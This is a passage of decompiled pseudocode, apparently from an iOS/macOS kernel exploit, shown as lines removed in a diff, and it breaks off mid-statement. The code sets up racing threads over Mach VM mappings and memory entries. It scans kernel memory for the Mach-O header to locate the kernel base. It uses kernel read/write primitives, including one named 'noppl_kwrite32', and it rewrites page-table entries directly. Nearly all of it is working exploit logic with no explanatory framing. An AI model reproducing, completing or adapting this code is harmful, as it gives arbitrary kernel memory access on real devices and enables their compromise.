validate_addr(a1, v16) ) - { - v17 = vm_allocate(mach_task_self_, &address, 0xC000uLL, 1); - if ( v17 ) - goto LABEL_31; - v17 = vm_allocate(mach_task_self_, &address, 0x4000uLL, 0x4002); - if ( v17 ) - goto LABEL_31; - *(_QWORD *)cur_protection = 0LL; - v17 = vm_remap( - mach_task_self_, - &address, - 0x4000uLL, - 0LL, - 0x4000, - mach_task_self_, - address, - 0, - &cur_protection[1], - cur_protection, - 1u); - if ( v17 ) - goto LABEL_31; - v24 = address + 0x4000; - v17 = vm_allocate(mach_task_self_, &v24, 0x8000uLL, 0x4000); - if ( v17 ) - goto LABEL_31; - v17 = vm_allocate(mach_task_self_, &target_address, 0xC000uLL, 1); - if ( v17 ) - goto LABEL_31; - v17 = vm_map(mach_task_self_, &target_address, 0x4000uLL, 0LL, 0x4000, a3, 0LL, 0, 3, 3, 1u); - if ( v17 ) - goto LABEL_31; - *(_QWORD *)cur_protection = 0LL; - v17 = vm_remap( - mach_task_self_, - &target_address, - 0x4000uLL, - 0LL, - 0x4000, - mach_task_self_, - target_address, - 0, - &cur_protection[1], - cur_protection, - 1u); - if ( v17 ) - goto LABEL_31; - v23 = target_address + 0x4000; - v17 = vm_allocate(mach_task_self_, &v23, 0x8000uLL, 0x4000); - if ( v17 ) - goto LABEL_31; - v17 = vm_copy(mach_task_self_, target_address, 0xC000uLL, address); - if ( v17 ) - goto LABEL_31; - v17 = vm_allocate(mach_task_self_, &src_address, 0xC000uLL, 1); - if ( v17 ) - goto LABEL_31; - v17 = vm_map(mach_task_self_, &src_address, 0x4000uLL, 0LL, 0x4000, a4, 0LL, 0, 3, 3, 1u); - if ( v17 ) - goto LABEL_31; - *(_QWORD *)cur_protection = 0LL; - v17 = vm_remap( - mach_task_self_, - &src_address, - 0x4000uLL, - 0LL, - 0x4000, - mach_task_self_, - src_address, - 0, - &cur_protection[1], - cur_protection, - 1u); - if ( v17 ) - goto LABEL_31; - v22 = src_address + 0x4000; - v17 = vm_allocate(mach_task_self_, &v22, 0x4000uLL, 0x4002); - if ( v17 ) - goto LABEL_31; - *(_QWORD *)cur_protection = 0LL; - v17 = vm_remap( - mach_task_self_, - &v22, - 0x4000uLL, - 0LL, - 0x4000, - mach_task_self_, - v22, - 0, - &cur_protection[1], - cur_protection, - 1u); - if ( v17 ) - goto LABEL_31; - v17 = vm_allocate(mach_task_self_, &v27, 0xC000uLL, 1); - if ( v17 ) - goto LABEL_31; - v17 = vm_allocate(mach_task_self_, &v27, 0x4000uLL, 0x4002); - if ( v17 ) - goto LABEL_31; - *(_QWORD *)cur_protection = 0LL; - v17 = vm_remap( - mach_task_self_, - &v27, - 0x4000uLL, - 0LL, - 0x4000, - mach_task_self_, - v27, - 0, - &cur_protection[1], - cur_protection, - 1u); - if ( v17 ) - goto LABEL_31; - v22 = v27 + 0x4000; - v17 = vm_allocate(mach_task_self_, &v22, 0x4000uLL, 0x4002); - if ( v17 ) - goto LABEL_31; - *(_QWORD *)cur_protection = 0LL; - v17 = vm_remap( - mach_task_self_, - &v22, - 0x4000uLL, - 0LL, - 0x4000, - mach_task_self_, - v22, - 0, - &cur_protection[1], - cur_protection, - 1u); - if ( v17 ) - goto LABEL_31; - v17 = vm_allocate(mach_task_self_, &v26, 0xC000uLL, 1); - if ( v17 - || (v17 = vm_allocate(mach_task_self_, &v26, 0x4000uLL, 0x4002)) != 0 - || (*(_QWORD *)cur_protection = 0LL, - (v17 = vm_remap( - mach_task_self_, - &v26, - 0x4000uLL, - 0LL, - 0x4000, - mach_task_self_, - v26, - 0, - &cur_protection[1], - cur_protection, - 1u)) != 0) - || (v22 = v26 + 0x4000, - (v17 = vm_map(mach_task_self_, &v22, 0x4000uLL, 0LL, 0x4000, a5, 0LL, 0, 3, 3, 1u)) != 0) - || (*(_QWORD *)cur_protection = 0LL, - (v17 = vm_remap( - mach_task_self_, - &v22, - 0x4000uLL, - 0LL, - 0x4000, - mach_task_self_, - v22, - 0, - &cur_protection[1], - cur_protection, - 1u)) != 0) ) - { -LABEL_31: - v12 = v17 | 0x80000000; - } - else - { - v19 = calloc(1uLL, 0x5E8uLL); - if ( v19 ) - { - v12 = 0LL; - v19[0xA3] = v13; - v19[0xA4] = v14; - v19[0xA5] = v15; - v19[0xA6] = v21; - v19[0xA7] = v16; - v19[0xA9] = address; - v20 = src_address; - v19[0xAA] = target_address; - v19[0xAB] = 0xC000LL; - address = 0LL; - src_address = 0LL; - target_address = 0LL; - v19[0xAC] = v20; - v19[0xAD] = v27; - v19[0xAE] = 0xC000LL; - v19[0xAF] = v26; - v19[0xB0] = v20; - v19[0xB1] = 0xC000LL; - v26 = 0LL; - v27 = 0LL; - *a2 = v19; - goto LABEL_35; - } - v12 = 0xAD009LL; - } - } - } - } - } - } - } - else - { - v12 = 0x28026LL; - } - if ( src_address ) - vm_deallocate(mach_task_self_, src_address, 0xC000uLL); -LABEL_35: - if ( v27 ) - vm_deallocate(mach_task_self_, v27, 0xC000uLL); - if ( v26 ) - vm_deallocate(mach_task_self_, v26, 0xC000uLL); - if ( address ) - vm_deallocate(mach_task_self_, address, 0xC000uLL); - if ( target_address ) - vm_deallocate(mach_task_self_, target_address, 0xC000uLL); - return v12; -} - -//----- (000000000000B460) ---------------------------------------------------- -__int64 __fastcall sub_B460(__int64 a1, _DWORD *a2) -{ - vm_size_t v2; // x20 - __int64 result; // x0 - int v6; // w22 - mach_port_name_t *v7; // x0 - __int64 v8; // x23 - mach_port_name_t v9; // w1 - __int64 i; // x21 - mach_port_name_t v11; // w1 - bool v12; // zf - __int64 v13; // x23 - __int64 v14; // x23 - _QWORD *v15; // x5 - __int64 v16; // x8 - __int64 v17; // x8 - __int64 v18; // [xsp+18h] [xbp-88h] BYREF - __int128 v19; // [xsp+20h] [xbp-80h] - int v20; // [xsp+3Ch] [xbp-64h] BYREF - vm_address_t address; // [xsp+40h] [xbp-60h] BYREF - mem_entry_name_port_t object[2]; // [xsp+48h] [xbp-58h] - __int64 v23; // [xsp+50h] [xbp-50h] - - *(_QWORD *)object = 0LL; - v23 = 0LL; - address = 0LL; - v2 = vm_page_size; - v20 = 0xFFFFFFFF; - if ( *(_QWORD *)(a1 + 0x158) < 0x1F543C40800000uLL ) - return 0xAD001LL; - result = fd_open_dev_null(&v20); - if ( !(_DWORD)result ) - { - v6 = 0x28026; - v19 = xmmword_43740; - v7 = (mach_port_name_t *)sub_1BD80(a1, 0x15u); - if ( v7 ) - { - v8 = 0LL; - do - { - v9 = *v7; - object[v8] = *v7; - if ( v9 + 1 < 2 || mach_port_mod_refs(mach_task_self_, v9, 0, 1) ) - break; - if ( v8 == 3 ) - { - if ( !vm_map(mach_task_self_, &address, v2, 0LL, 1, object[0], 0LL, 0, 3, 3, 2u) ) - { - v13 = *(_QWORD *)address; - if ( validate_addr(a1, *(_QWORD *)address) ) - { - *(_QWORD *)(a1 + 0x19D0) = v13; - v14 = *(_QWORD *)(address + 0x20); - if ( validate_addr(a1, v14) ) - { - *(_QWORD *)(a1 + 0x1898) = v14; - v15 = (_QWORD *)address; - v16 = *(_QWORD *)(address + 0x28); - if ( (unsigned __int64)(v16 - 1) <= 0x1F ) - { - *(_DWORD *)(a1 + 0x18A0) = v16; - v18 = 0LL; - v6 = sub_AE58(a1, &v18, object[1], v23, HIDWORD(v23), v15); - if ( !v6 ) - { - v17 = v18; - *(_QWORD *)(a1 + 0x30) = sub_A354; - *(_QWORD *)(a1 + 0x40) = sub_A3F0; - *(_QWORD *)(a1 + 0x38) = sub_A48C; - *(_QWORD *)(a1 + 0x48) = sub_A550; - *(_QWORD *)(a1 + 0x50) = v17; - fd_close(v20); - v20 = 0xFFFFFFFF; - v6 = sub_27808(a1, 0); - if ( !v6 ) - { - *(_QWORD *)(a1 + 0x30) = 0LL; - v6 = sub_288D4(a1); - if ( !v6 ) - *(_QWORD *)(a1 + 0x40) = 0LL; - } - } - } - } - } - } - break; - } - v7 = (mach_port_name_t *)sub_1BD80(a1, *(_DWORD *)((char *)&v19 + v8 * 4 + 4)); - ++v8; - } - while ( v7 ); - } - if ( v20 != 0xFFFFFFFF ) - fd_close(v20); - if ( v6 ) - { - for ( i = 0LL; i != 4; ++i ) - { - v11 = object[i]; - if ( v11 + 1 >= 2 ) - mach_port_deallocate(mach_task_self_, v11); - } - } - if ( address ) - v12 = v2 == 0; - else - v12 = 1; - if ( !v12 ) - vm_deallocate(mach_task_self_, address, v2); - result = 0LL; - *a2 = v6 == 0; - } - return result; -} -// 43740: using guessed type __int128 xmmword_43740; - -//----- (000000000000B73C) ---------------------------------------------------- -__int64 __fastcall sub_B73C(__int64 a1) -{ - __int64 v1; // x8 - - v1 = *(_QWORD *)(a1 + 0x50); - if ( v1 ) - return *(_QWORD *)(v1 + 0x538); - else - return 0xAD001LL; -} - -//----- (000000000000B758) ---------------------------------------------------- -void sub_B758() -{ - __dsb(0xFu); - __isb(0xFu); -} - -//----- (000000000000B768) ---------------------------------------------------- -__int64 __fastcall sub_B768(__int64 a1, unsigned __int64 a2, int a3) -{ - __int64 v6; // x24 - __int64 v7; // x22 - __int64 v8; // x8 - unsigned __int64 v9; // x23 - int v10; // w0 - __int64 v11; // x24 - int v12; // w0 - unsigned __int64 v13; // x0 - unsigned __int64 v15; // x0 - int v16; // w0 - int v17; // w0 - __int64 v18; // x0 - __int64 v19; // x24 - __int64 v20; // x27 - __int64 v21; // x22 - __int16 v22; // w26 - int v23; // w0 - __int64 v24; // x8 - int v25; // [xsp+4h] [xbp-3ACh] BYREF - unsigned __int64 v26[5]; // [xsp+8h] [xbp-3A8h] BYREF - _QWORD v27[5]; // [xsp+30h] [xbp-380h] BYREF - _QWORD v28[2]; // [xsp+58h] [xbp-358h] BYREF - int v29; // [xsp+68h] [xbp-348h] - _QWORD *v30[3]; // [xsp+70h] [xbp-340h] BYREF - _QWORD v31[3]; // [xsp+88h] [xbp-328h] BYREF - __int64 v32; // [xsp+A0h] [xbp-310h] - __int64 v33; // [xsp+A8h] [xbp-308h] - _QWORD v34[2]; // [xsp+B0h] [xbp-300h] BYREF - char v35; // [xsp+C4h] [xbp-2ECh] - unsigned __int64 v36; // [xsp+D0h] [xbp-2E0h] - - v6 = 0xAD00BLL; - if ( !(unsigned int)sub_251A4(a1, 7u, 0x2710u) ) - { - v8 = *(_QWORD *)(a1 + 0x118); - if ( v8 ) - { - if ( *(_QWORD *)(a1 + 0x120) ) - { - v9 = *(_QWORD *)(v8 + 0x158); - if ( v9 ) - goto LABEL_6; - } - } - v30[2] = v31; - v34[0] = off_448E0; - v34[1] = v31; - sub_24BC0((__int64)&qword_480D8); - if ( !v12 ) - { - v7 = 0x28026LL; - v33 = a1; - sub_BB3C((__int64)v31, *(_QWORD *)(a1 + 0x19C8)); - v13 = port_name_to_kaddr(a1, mach_task_self_); - v31[2] = v13; - if ( v13 && (v32 = sub_32D80(a1, v13)) != 0 ) - { - if ( !(unsigned int)sub_4014C(v30) && !(unsigned int)sub_10730(&qword_48000, v30) ) - { - if ( (unsigned int)sub_111C0((__int64)v34) - || (unsigned int)sub_1A58C((__int64)&word_48048, v30, (__int64)v31) - || (v28[0] = v31, v28[1] = v34, v29 = 0, (unsigned int)sub_1B42C(v28)) ) - { - sub_127C0((__int64)v34); - } - else - { - sub_127C0((__int64)v34); - v25 = 2 * *(_DWORD *)(a1 + 0x180); - v15 = sub_37210(a1, (unsigned int *)&v25); - if ( !v15 ) - { - v7 = 0xAD009LL; - goto LABEL_27; - } - v9 = v15; - sub_2183C(a1, v15, (__int64)v27); - if ( !v16 ) - goto LABEL_27; - sub_2183C(a1, v9 + *(unsigned int *)(a1 + 0x180), (__int64)v26); - if ( !v17 ) - goto LABEL_27; - v18 = sub_385F4(a1, v26[0]); - if ( !v18 ) - goto LABEL_27; - v19 = v18; - v20 = *(_QWORD *)(a1 + 0x188); - v21 = v27[4]; - v22 = v27[0]; - sub_2183C(a1, v27[0] & ~v20, (__int64)v34); - if ( v23 && (v36 & 0xFFFFFFFFC000LL) != 0 ) - { - v30[0] = (_QWORD *)MEMORY[0x400000008]; - v31[0] = MEMORY[0x400000008] & 0xFFFF000000003FFFLL | v36 & 0xFFFFFFFFC000LL; - MEMORY[0x400000008] = v31[0]; - sub_B758(); - sub_2AABC(a1, 0x2710u); - *(_QWORD *)(v22 & 0x3FFF | 0x400004000LL) = v21 & 0xFFFF000000003FFFLL | ((((v19 & (unsigned __int64)~v20) >> 0xE) & 0x3FFFFFFFFLL) << 0xE); - sub_B758(); - MEMORY[0x400000008] = v30[0]; - sub_2AABC(a1, 0x2710u); - v24 = *(_QWORD *)(a1 + 0x118); - if ( v24 && *(_QWORD *)(a1 + 0x120) ) - *(_QWORD *)(v24 + 0x158) = v9; -LABEL_6: - v7 = 0x28026LL; - sub_2183C(a1, a2, (__int64)v34); - if ( v10 ) - { - if ( v35 == 3 ) - { - v11 = v9 + 8 * (((*(_DWORD *)(a1 + 0x180) + (_DWORD)v9) & 0x1FFFFFFu) / *(_DWORD *)(a1 + 0x180)); - if ( (unsigned int)kreadbuf_last_1(a1, v11, 8LL, (__int64)v31) ) - { - v27[0] = v31[0] & 0xFFFF000000003FFFLL | (((v36 >> 0xE) & 0x3FFFFFFFFLL) << 0xE); - if ( v27[0] == v31[0] ) - goto LABEL_12; - if ( (unsigned int)kwritebuf_last_1(a1, v11, (__int64)v27, 8LL) ) - { - sub_2AABC(a1, 0x2710u); -LABEL_12: - if ( noppl_kwrite32(a1, v9 + *(unsigned int *)(a1 + 0x180) + (*(_QWORD *)(a1 + 0x188) & a2), a3) ) - v7 = 0LL; - else - v7 = 0x28010LL; - goto LABEL_27; - } - v7 = 0x28010LL; - } - else - { - v7 = 0x2800FLL; - } - } - else - { - v7 = 0x28011LL; - } - } -LABEL_27: - sub_25164(a1, 7u); - return v7; - } - } - v7 = 0xAD00BLL; - goto LABEL_27; - } - } - else - { - v6 = 0x2801BLL; - } - } - v7 = v6; - goto LABEL_27; - } - return 0xAD022LL; -} -// B7FC: variable 'v10' is possibly undefined -// B8D8: variable 'v12' is possibly undefined -// BA3C: variable 'v16' is possibly undefined -// BA54: variable 'v17' is possibly undefined -// BA88: variable 'v23' is possibly undefined -// 448E0: using guessed type __int64 (__fastcall *[7])(); -// 48000: using guessed type __int64 qword_48000; -// 48048: using guessed type __int16 word_48048; -// 480D8: using guessed type __int64 qword_480D8; - -//----- (000000000000BB3C) ---------------------------------------------------- -unsigned __int64 __fastcall sub_BB3C(__int64 a1, __int64 a2) -{ - __int64 i; // x1 - __int64 v4; // x20 - unsigned __int64 result; // x0 - - for ( i = a2 & 0xFFFFFFFFFFFFC000LL; ; i = *(_QWORD *)a1 - 0x4000LL ) - { - *(_QWORD *)a1 = i; - if ( (unsigned int)kread32(a1, i) == 0xFEEDFACF - && (unsigned int)kread32(a1, *(_QWORD *)a1 + 4LL) == 0x100000C - && (unsigned int)kread32(a1, *(_QWORD *)a1 + 8LL) == 2 - && (unsigned int)kread32(a1, *(_QWORD *)a1 + 0xCLL) == 0xC ) - { - break; - } - } - v4 = *(_QWORD *)a1; - result = sub_3C398(*(_DWORD **)(a1 + 0x20)); - *(_QWORD *)(a1 + 8) = v4 - result; - return result; -} - -//----- (000000000000BBF4) ---------------------------------------------------- -__int64 __fastcall sub_BBF4(__int64 a1) -{ - vm_size_t v1; // x19 - mem_entry_name_port_t v2; // w20 - bool v3; // zf - unsigned __int8 *v4; // x22 - unsigned __int8 v5; // w8 - vm_address_t address; // [xsp+18h] [xbp-38h] BYREF - - v1 = atomic_load((unsigned __int64 *)(a1 + 0x3630)); - v2 = atomic_load((unsigned int *)(a1 + 0x3638)); - if ( v1 ) - v3 = v2 == 0; - else - v3 = 1; - if ( !v3 ) - { - atomic_fetch_add((atomic_uint *volatile)(a1 + 0x3640), 1u); - v4 = (unsigned __int8 *)(a1 + 0x363C); - do - { - v5 = atomic_load(v4); - if ( (v5 & 1) != 0 ) - break; - address = 0LL; - } - while ( vm_map(mach_task_self_, &address, v1, 0LL, 0, v2, 0LL, 1, 1, 1, 1u) == 1 ); - } - return 0LL; -} - -//----- (000000000000BCB4) ---------------------------------------------------- -__int64 __fastcall sub_BCB4(vm_address_t a1) -{ - mach_msg_type_number_t infoCnt; // [xsp+Ch] [xbp-64h] BYREF - int info[4]; // [xsp+10h] [xbp-60h] BYREF - __int128 v4; // [xsp+20h] [xbp-50h] - __int128 v5; // [xsp+30h] [xbp-40h] - natural_t v6[7]; // [xsp+40h] [xbp-30h] BYREF - natural_t nesting_depth; // [xsp+5Ch] [xbp-14h] BYREF - vm_size_t size; // [xsp+60h] [xbp-10h] BYREF - vm_address_t address; // [xsp+68h] [xbp-8h] BYREF - - size = 0LL; - address = a1; - nesting_depth = 0; - v5 = 0u; - memset(v6, 0, sizeof(v6)); - *(_OWORD *)info = 0u; - v4 = 0u; - infoCnt = 0x13; - if ( vm_region_recurse_64(mach_task_self_, &address, &size, &nesting_depth, info, &infoCnt) ) - return 0LL; - else - return *(_QWORD *)&v6[5]; -} - -//----- (000000000000BD20) ---------------------------------------------------- -__int64 __fastcall sub_BD20(__int64 a1, vm_size_t size, __int64 a3, mem_entry_name_port_t *a4) -{ - _DWORD *v8; // x25 - __int64 v9; // x26 - __int64 v10; // x24 - vm_address_t *v11; // x23 - __int64 result; // x0 - __int64 v13; // x0 - vm_size_t sizea; // [xsp+8h] [xbp-58h] BYREF - - v8 = (_DWORD *)(a1 + 0x6648); - v9 = 0x100LL; - while ( 1 ) - { - v10 = (unsigned int)*v8; - if ( (unsigned int)v10 > 0x3FF ) - return 3LL; - v11 = (vm_address_t *)(a1 + 8 * v10 + 0x4648); - result = vm_allocate(mach_task_self_, v11, size, 3); - if ( (_DWORD)result ) - return result; - ++*v8; - v13 = sub_BCB4(*v11); - if ( !v13 ) - return 5LL; - if ( v13 == a3 ) - break; - if ( !--v9 ) - return 3LL; - } - sizea = size; - result = mach_make_memory_entry(mach_task_self_, &sizea, *v11, 3, a4, 0); - if ( !(_DWORD)result ) - *(_DWORD *)(a1 + 4 * v10 + 0x3644) = *a4; - return result; -} - -//----- (000000000000BE20) ---------------------------------------------------- -__int64 __fastcall sub_BE20(vm_address_t *a1, vm_size_t size, vm_address_t mask, int flags, int a5) -{ - int v9; // w23 - __int64 result; // x0 - vm_address_t address; // [xsp+18h] [xbp-48h] BYREF - - v9 = a5 + 1; - while ( 1 ) - { - address = *a1; - result = vm_map(mach_task_self_, &address, size, mask, flags, 0, 0LL, 0, 3, 7, 1u); - if ( !(_DWORD)result ) - break; - if ( !--v9 ) - return result; - } - *a1 = address; - return result; -} - -//----- (000000000000BED0) ---------------------------------------------------- -__int64 __fastcall sub_BED0(__int64 a1, __int64 a2, unsigned int a3, __int64 a4) -{ - __int64 v7; // x25 - __int64 v8; // x24 - vm_size_t v9; // x21 - int v10; // w20 - unsigned int v11; // w28 - __int64 v12; // x10 - _QWORD *v13; // x20 - vm_size_t v14; // x27 - unsigned __int64 v15; // x9 - unsigned __int64 v16; // x8 - vm_size_t v17; // x22 - __int64 v18; // x9 - vm_size_t v19; // x20 - unsigned __int8 *v20; // x11 - unsigned int *v21; // x12 - unsigned __int64 v22; // x21 - __int64 v23; // x27 - mach_port_t *v24; // x25 - __int64 v25; // x0 - unsigned int v26; // w21 - vm_size_t v27; // x27 - __int64 v28; // x0 - vm_address_t v29; // x28 - __int64 v30; // x0 - __int64 memory_entry_64; // x0 - pthread_t *v32; // x24 - unsigned __int64 v33; // x22 - void *(__cdecl *v34)(void *); // x0 - unsigned int v35; // w8 - pthread_t *v36; // x22 - unsigned __int64 v37; // x25 - vm_address_t v38; // x25 - __int64 v39; // x0 - __int64 v40; // x21 - __int64 v41; // x27 - __int64 v42; // x24 - mach_port_t *v43; // x21 - unsigned __int64 v44; // x22 - vm_address_t v45; // x8 - __int64 v47; // x0 - unsigned __int64 v48; // x8 - unsigned __int64 v49; // x8 - __int64 v50; // x23 - mach_port_t *v51; // x28 - __int64 v52; // x8 - mach_port_t *v53; // x9 - mach_port_t v54; // w10 - __int64 v55; // x11 - unsigned __int64 v56; // x22 - __int64 v57; // x21 - unsigned int v58; // w28 - unsigned __int64 v59; // x23 - unsigned __int64 v60; // x0 - unsigned __int64 v61; // x8 - unsigned __int64 v62; // x9 - unsigned __int64 v63; // x10 - unsigned __int64 v64; // x10 - unsigned __int64 v65; // x9 - unsigned __int64 v66; // x10 - __int64 v67; // x20 - __int64 v68; // x0 - __int64 v69; // x21 - unsigned int v70; // w23 - unsigned __int64 v71; // x28 - unsigned __int64 v72; // x0 - unsigned __int64 v73; // x8 - unsigned __int64 v74; // x9 - unsigned __int64 v75; // x10 - unsigned __int64 v76; // x10 - unsigned __int64 v77; // x9 - unsigned __int64 v78; // x10 - mach_port_t v79; // w8 - __int64 v80; // x12 - vm_size_t v81; // x8 - _QWORD *v82; // x9 - __int64 k; // x8 - __int64 v84; // x11 - __int64 v85; // x21 - __int64 v86; // x21 - __int64 v87; // x0 - unsigned __int8 *v88; // x23 - __int64 v89; // x19 - pthread_t *v90; // x22 - __int64 v91; // x25 - unsigned __int64 v92; // x22 - bool v93; // w25 - vm_address_t v94; // x1 - __int64 m; // x22 - vm_address_t v96; // x1 - bool v97; // zf - mach_port_t *v98; // x20 - _QWORD *v100; // x8 - __int64 v101; // x12 - vm_size_t v102; // x9 - _QWORD *v103; // x10 - __int64 i; // x8 - __int64 v105; // x11 - __int64 j; // x8 - __int64 v107; // x11 - int v108; // [xsp+Ch] [xbp-484h] - vm_size_t v109; // [xsp+10h] [xbp-480h] - unsigned int v110; // [xsp+1Ch] [xbp-474h] - __int64 v111; // [xsp+28h] [xbp-468h] - unsigned int v112; // [xsp+3Ch] [xbp-454h] - unsigned __int64 v113; // [xsp+48h] [xbp-448h] - __int64 v114; // [xsp+50h] [xbp-440h] - __int64 v115; // [xsp+50h] [xbp-440h] - __int64 v116; // [xsp+58h] [xbp-438h] - __int64 v117; // [xsp+58h] [xbp-438h] - unsigned __int64 v118; // [xsp+58h] [xbp-438h] - int v119; // [xsp+6Ch] [xbp-424h] - vm_size_t v120; // [xsp+70h] [xbp-420h] - vm_size_t v121; // [xsp+70h] [xbp-420h] - mem_entry_name_port_t v122; // [xsp+78h] [xbp-418h] BYREF - mach_msg_type_number_t v123; // [xsp+7Ch] [xbp-414h] BYREF - int info[4]; // [xsp+80h] [xbp-410h] BYREF - __int128 v125; // [xsp+90h] [xbp-400h] - __int128 v126; // [xsp+A0h] [xbp-3F0h] - natural_t v127[7]; // [xsp+B0h] [xbp-3E0h] BYREF - natural_t v128; // [xsp+CCh] [xbp-3C4h] BYREF - vm_size_t v129; // [xsp+D0h] [xbp-3C0h] BYREF - vm_address_t v130; // [xsp+D8h] [xbp-3B8h] BYREF - memory_object_size_t v131; // [xsp+E0h] [xbp-3B0h] BYREF - mach_msg_type_number_t infoCnt; // [xsp+E8h] [xbp-3A8h] BYREF - natural_t nesting_depth; // [xsp+ECh] [xbp-3A4h] BYREF - vm_size_t v134; // [xsp+F0h] [xbp-3A0h] BYREF - vm_address_t v135; // [xsp+F8h] [xbp-398h] BYREF - memory_object_size_t size[4]; // [xsp+100h] [xbp-390h] BYREF - __int128 v137; // [xsp+120h] [xbp-370h] - _BYTE v138[28]; // [xsp+130h] [xbp-360h] BYREF - vm_address_t v139; // [xsp+150h] [xbp-340h] BYREF - mach_port_t name; // [xsp+15Ch] [xbp-334h] BYREF - vm_address_t v141; // [xsp+160h] [xbp-330h] BYREF - vm_address_t address; // [xsp+168h] [xbp-328h] BYREF - _QWORD v143[16]; // [xsp+170h] [xbp-320h] BYREF - _BYTE v144[512]; // [xsp+1F0h] [xbp-2A0h] BYREF - _BYTE v145[40]; // [xsp+3F0h] [xbp-A0h] BYREF - mach_port_t object_handle[2]; // [xsp+418h] [xbp-78h] BYREF - __int64 v147; // [xsp+420h] [xbp-70h] - - v7 = a1; - *(_QWORD *)object_handle = 0LL; - v147 = 0LL; - memset(v145, 0, 0x20); - v141 = 0LL; - address = 0LL; - name = 0; - v8 = a3; - v9 = vm_page_size; - v10 = *(_DWORD *)(a1 + 0x140); - if ( (int)number_of_cpus() >= 3 && (int)number_of_cpus() > 5 ) - { - v11 = 4; -LABEL_6: - v12 = 0x64LL; - goto LABEL_9; - } - if ( (int)number_of_cpus() < 3 ) - { - v11 = 1; - } - else - { - v11 = number_of_cpus() - 1; - if ( v11 > 3 ) - goto LABEL_6; - } - v12 = 0xC8LL; -LABEL_9: - memset(v144, 0, sizeof(v144)); - memset(v143, 0, sizeof(v143)); - v119 = v10; - if ( _os_alloc_once_table[0xA0] == 0xFFFFFFFFFFFFFFFFLL ) - { - v13 = (_QWORD *)_os_alloc_once_table[0xA1]; - } - else - { - v67 = v12; - v68 = _os_alloc_once(); - v12 = v67; - v13 = (_QWORD *)v68; - } - v14 = v9 * v8; - if ( *v13 && (v15 = v13[1]) != 0 ) - { - *(_QWORD *)(a2 + 0x3628) = *v13; - atomic_store(v15, (unsigned __int64 *)(a2 + 0x3630)); - } - else if ( !*(_QWORD *)(a2 + 0x3628) ) - { - v115 = v8; - v117 = v12; - *(_QWORD *)info = 0LL; - v139 = 0LL; - LODWORD(v135) = 1; - v137 = 0u; - memset(v138, 0, sizeof(v138)); - memset(size, 0, sizeof(size)); - LODWORD(v134) = 0x13; - v42 = vm_region_recurse_64( - mach_task_self_, - (vm_address_t *)info, - &v139, - (natural_t *)&v135, - (vm_region_recurse_info_t)size, - (mach_msg_type_number_t *)&v134); - if ( (_DWORD)v42 ) - { -LABEL_58: - v19 = 0LL; - v120 = 0LL; - goto LABEL_170; - } - while ( 1 ) - { - if ( (unsigned int)v135 > 1 ) - { - v42 = 5LL; - goto LABEL_58; - } - if ( (_DWORD)v135 == 1 ) - { - v45 = v14 + 2 * vm_page_size; - if ( v139 >= v45 && *(memory_object_size_t *)((char *)&size[1] + 4) == 0 ) - break; - } - *(_QWORD *)info += v139; - v139 = 0LL; - LODWORD(v135) = 1; - v137 = 0u; - memset(v138, 0, sizeof(v138)); - memset(size, 0, sizeof(size)); - LODWORD(v134) = 0x13; - v47 = vm_region_recurse_64( - mach_task_self_, - (vm_address_t *)info, - &v139, - (natural_t *)&v135, - (vm_region_recurse_info_t)size, - (mach_msg_type_number_t *)&v134); - if ( (_DWORD)v47 ) - { - v42 = v47; - goto LABEL_58; - } - } - v139 = v14 + 2 * vm_page_size; - *(_QWORD *)(a2 + 0x3628) = *(_QWORD *)info; - atomic_store(v45, (unsigned __int64 *)(a2 + 0x3630)); - *v13 = *(_QWORD *)info; - v13[1] = v139; - v8 = v115; - v12 = v117; - } - if ( *(_QWORD *)(a2 + 0x3628) && (v16 = atomic_load((unsigned __int64 *)(a2 + 0x3630))) != 0 ) - { - v114 = v8; - v116 = v12; - v110 = a3; - v17 = 0LL; - v18 = 0LL; - v19 = atomic_load((unsigned __int64 *)(a2 + 0x3630)); - v20 = (unsigned __int8 *)(a2 + 0x363C); - v21 = (unsigned int *)(a2 + 0x3640); - v22 = v11; - v109 = v14; - v113 = v11; - while ( 1 ) - { - v111 = v18; - atomic_store(0, v20); - atomic_store(0, v21); - *(_QWORD *)object_handle = 0LL; - v147 = 0LL; - if ( v11 ) - break; - v112 = 0; - v26 = 0; -LABEL_25: - atomic_store(v26, (unsigned int *)(a2 + 0x3638)); - v27 = vm_page_size; - v28 = vm_map(mach_task_self_, &address, v19, 0LL, 1, v26, 0LL, 0, 1, 1, 1u); - if ( (_DWORD)v28 || (v28 = sub_BE20(&v141, v27 + v19, 0x1FFFFFFuLL, 9, 0x10), (_DWORD)v28) ) - { - v42 = v28; - v120 = v17; -LABEL_169: - v11 = v112; - goto LABEL_170; - } - v120 = v27 + v19; - v29 = v141; - v30 = vm_copy(mach_task_self_, address, v19, v141); - if ( (_DWORD)v30 - || (v30 = vm_deallocate(mach_task_self_, address, v19), (_DWORD)v30) - || (address = 0LL, v139 = v29 + v19, v30 = vm_allocate(mach_task_self_, &v139, v27, 0x6004000), (_DWORD)v30) - || (v30 = vm_deallocate(mach_task_self_, v139, v27), (_DWORD)v30) ) - { - v42 = v30; - goto LABEL_169; - } - v134 = 0LL; - v135 = v29; - v137 = 0u; - memset(v138, 0, sizeof(v138)); - memset(size, 0, sizeof(size)); - infoCnt = 0x13; - nesting_depth = 0; - memory_entry_64 = vm_region_recurse_64( - mach_task_self_, - &v135, - &v134, - &nesting_depth, - (vm_region_recurse_info_t)size, - &infoCnt); - v11 = v112; - if ( (_DWORD)memory_entry_64 ) - goto LABEL_71; - v108 = DWORD2(v137); - if ( v112 ) - { - v32 = (pthread_t *)v145; - v33 = v113; - while ( 1 ) - { - v34 = (void *(__cdecl *)(void *))nullsub_1(sub_BBF4); - if ( pthread_create(v32, 0LL, v34, (void *)a2) ) - break; - ++v32; - if ( !--v33 ) - goto LABEL_36; - } -LABEL_70: - v42 = 5LL; - goto LABEL_72; - } -LABEL_36: - while ( 1 ) - { - v35 = atomic_load((unsigned int *)(a2 + 0x3640)); - if ( v35 == v112 ) - break; - sub_2AABC(v7, 0x3E8u); - } - v131 = v19; - memory_entry_64 = mach_make_memory_entry_64(mach_task_self_, &v131, 0LL, 1, &name, v26); - if ( (_DWORD)memory_entry_64 ) - goto LABEL_71; - if ( v131 != v19 ) - goto LABEL_70; - v121 = v7; - atomic_store(1u, (unsigned __int8 *)(a2 + 0x363C)); - if ( v112 ) - { - v36 = (pthread_t *)v145; - v37 = v113; - while ( 1 ) - { - memory_entry_64 = pthread_join(*v36, 0LL); - if ( (_DWORD)memory_entry_64 ) - break; - *v36++ = 0LL; - if ( !--v37 ) - goto LABEL_44; - } -LABEL_71: - v42 = memory_entry_64; -LABEL_72: - v120 = v19; - goto 